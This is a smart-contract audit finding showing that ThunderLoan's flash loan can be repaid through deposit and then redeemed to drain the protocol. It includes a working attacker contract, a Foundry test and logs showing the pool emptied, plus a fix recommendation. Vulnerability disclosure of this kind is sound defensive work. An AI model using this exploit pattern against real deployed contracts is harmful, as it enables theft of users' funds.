Summary
An attacker could exploit the flashloan
function by "repaying" the borrowed amount using the deposit
function instead of repay
function.
Vulnerability Details
The flashloan can be repaid by calling deposit
instead of repay
which mints assetTokens to the contract receiving the flashloan. Subsequently, the contract calls redeem
effectively stealing all the tokens in the protocol.
Create the following contract (BadIntentions.sol
) in the mocks
folder:
pragma solidity 0.8.20;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { IFlashLoanReceiver, IThunderLoan } from "../../src/interfaces/IFlashLoanReceiver.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { Test, console } from "forge-std/Test.sol";
import { IThunderLoan } from "../../src/interfaces/IThunderLoan.sol";
import { BaseTest } from "../unit/BaseTest.t.sol";
contract BadIntentions {
using SafeERC20 for IERC20;
address s_owner;
address s_thunderLoan;
error BadIntentions__onlyOwner();
error BadIntentions__onlyThunderLoan();
constructor(address thunderLoan) {
s_owner = msg.sender;
s_thunderLoan = thunderLoan;
}
function depositThunder(IERC20 token, uint256 amount) public {
IERC20(token).approve(s_thunderLoan, amount);
IThunderLoan(s_thunderLoan).deposit(token, amount);
}
function redeemThunder(IERC20 token, uint256 amountOfAsset) public {
IThunderLoan(s_thunderLoan).redeem(token, amountOfAsset);
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata
)
external
returns (bool)
{
if (msg.sender != s_thunderLoan) {
revert BadIntentions__onlyThunderLoan();
}
depositThunder(IERC20(token), amount + fee);
return true;
}
function withdrawAll() public {
}
}
import it at the top of ThunderLoanTest
and deploy it in the setUp
function :
import { BadIntentions } from "../mocks/BadIntentions.sol";
badIntentions = new BadIntentions(address(thunderLoan));
Copy the following test:
function testBadIntentionsFlashLoan() public setAllowedToken hasDeposits {
uint256 attackAmount = 20e18;
AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
tokenA.mint(address(badIntentions), attackAmount + 1e18);
uint256 protocolStartingBalance = tokenA.balanceOf(address(asset));
uint256 attackerStartingBalance = tokenA.balanceOf(address(badIntentions));
BadIntentions(badIntentions).depositThunder(tokenA, attackAmount);
console.log("Protocol starting with %s", protocolStartingBalance);
console.log("Attacker startting with %s", attackerStartingBalance);
thunderLoan.flashloan(address(badIntentions), tokenA, attackAmount, "");
uint256 protocolAfterFlashLoanBalance = tokenA.balanceOf(address(asset));
uint256 attackerAfterFlashLoanBalance = tokenA.balanceOf(address(badIntentions));
console.log("Protocol After Flash Loan with %s", protocolAfterFlashLoanBalance);
console.log("Attacker After Flash Loan with %s", attackerAfterFlashLoanBalance);
uint256 exchangeRate = asset.getExchangeRate();
uint256 amountOfAssetTokenToWithdraw = protocolAfterFlashLoanBalance * EXCHANGE_RATE_PRECISION / exchangeRate;
BadIntentions(badIntentions).redeemThunder(tokenA, amountOfAssetTokenToWithdraw);
uint256 protocolEndingBalance = tokenA.balanceOf(address(asset));
uint256 attackerEndingBalance = tokenA.balanceOf(address(badIntentions));
console.log("Protocol Ending balance %s", protocolEndingBalance);
console.log("Attacker Ending balance %s", attackerEndingBalance);
}
Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[PASS] testBadIntentionsFlashLoan() (gas: 3275414)
Logs:
Protocol starting with 20000000000000000000
Attacker startting with 21000000000000000000
Protocol After Flash Loan with 40060000000000000000
Attacker After Flash Loan with 940000000000000000
Protocol Ending balance 0
Attacker Ending balance 41000000000000000000
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.26ms
The result speaks for itself, the protocol has been completely drained.
Impact
An attacker can steal all the protocol's funds.
Tools Used
Manual review.
Recommendations
Implement ReentrancyGuard
applying the nonReentrant
modifier to all the function with the exception of repay
.